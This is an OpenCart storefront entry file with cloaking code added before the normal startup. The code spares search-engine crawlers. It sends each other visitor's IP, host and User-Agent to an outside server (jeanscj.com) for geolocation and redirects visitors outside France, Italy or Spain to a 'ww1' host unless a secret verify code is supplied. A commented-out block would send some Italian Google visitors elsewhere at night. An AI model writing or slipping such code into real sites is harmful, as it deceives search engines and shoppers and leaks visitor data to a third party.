<?php
// Version
define('VERSION', '3.0.3.8');

// Configuration
if (is_file('config.php')) {
	require_once('config.php');
}

require_once DIR_SYSTEM . 'config/site_config.php';


$lan=$_SERVER['HTTP_ACCEPT_LANGUAGE'];		//IE
$client_sys_language = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; // system language 
$cip= "";
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
  $cip= $_SERVER["HTTP_CLIENT_IP"];
}
elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
  $cip= $_SERVER["HTTP_X_FORWARDED_FOR"];
}
elseif(!empty($_SERVER["REMOTE_ADDR"])){
  $cip= $_SERVER["REMOTE_ADDR"];
} 

$isspider =false;
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
$whiteArea = array( 'FR' , 'IT' , 'ES');
if(!empty($ua)){
        $spiderAgentArr = array(
            "bingbot",
            "Googlebot",
            "Yahoo",
            "msnbot",
            "sogou spider",
            
            "ahrefsbot",
            "semrushbot",
            "mj12bot",
            "dotbot",
            "seekport",
            "pinterestbot",
            "yandexbot",
            "facebook",             
        );
        foreach($spiderAgentArr as $val){
            $spiderAgent = strtolower($val);
            if(strpos($ua, $spiderAgent) !== false){
                $isspider  = true;
            }
        } 
    } else {
         $isspider  = false;
} 
 //cookieÊÇ·ñ´æ
if ( isset($_COOKIE["IsSus"]) ){
    
  setcookie("IsSus", "right" , time()+3600*2); 
}else{ 
  //Ö©ÖëÖ±½Ó½øÈë
  if($isspider){
    setcookie("IsSus", "right" , time()+3600*2);
  } else{
    $isuscan = false;
    //ä¯ÀÀÆ÷ÊÇ·ñÖÐÎÄ
    if(preg_match("/zh/",$client_sys_language)){
      $isuscan = false;
    }else{
     
       $area = "US";
      if($cip!=""){  
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,'https://www.jeanscj.com/index.php?ip='.$cip.'&source='.$_SERVER["HTTP_HOST"].'&ua='.urlencode($ua));   
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        curl_close($ch);      
         if($output) {
            $data = json_decode($output, true);
            if($data['status'] == 'success'){
                $area = $data['countryCode'];
            }
         }
     }
      
  
     
    //  if ($area == "IT") {
    //      $transfer = "https://www.g3calcio.com";
    //      setcookie("IsSus", "right" , time()+3600*2); 
         
    //      $curTime = date('H');

    //      $random = rand(1, 10);
    //      $refererUrl = $_SERVER['HTTP_REFERER'];
 
    //      if ($curTime <= 4 || $curTime >= 22) {
    //          if ($random <= 5 && strpos($refererUrl, "google.com") != false) {
    //              header("Location:".$transfer);
    //              exit ;	
    //          }
    //      }
    //  }
      
      
      
      foreach ($whiteArea as $key => $value) {
        if (preg_match( '/'. $value . '/', $area)) {
            $isuscan = true;
            break;
        } 
    
      }
    }
   if (strpos($_SERVER["REQUEST_URI"], 'toppay_result') ) {
       $isuscan = true;
   }
    if($isuscan==false){
      if ( isset($_GET['vc']) && ( $_GET['vc'] == VERIFY_CODE  ) ){
        setcookie("IsSus", "right" , time()+3600*2);
      }
      else{  
         
         $url=str_replace("www","ww1",$_SERVER['HTTP_HOST']);
         header("Location:https://".$url);
         exit ;		
      }
    } else {
        setcookie("IsSus", "right" , time()+3600*2);
    }
  }
}




// Install
if (!defined('DIR_APPLICATION')) {
	header('Location: install/index.php');
	exit;
}

// Startup
require_once(DIR_SYSTEM . 'startup.php');

start('catalog');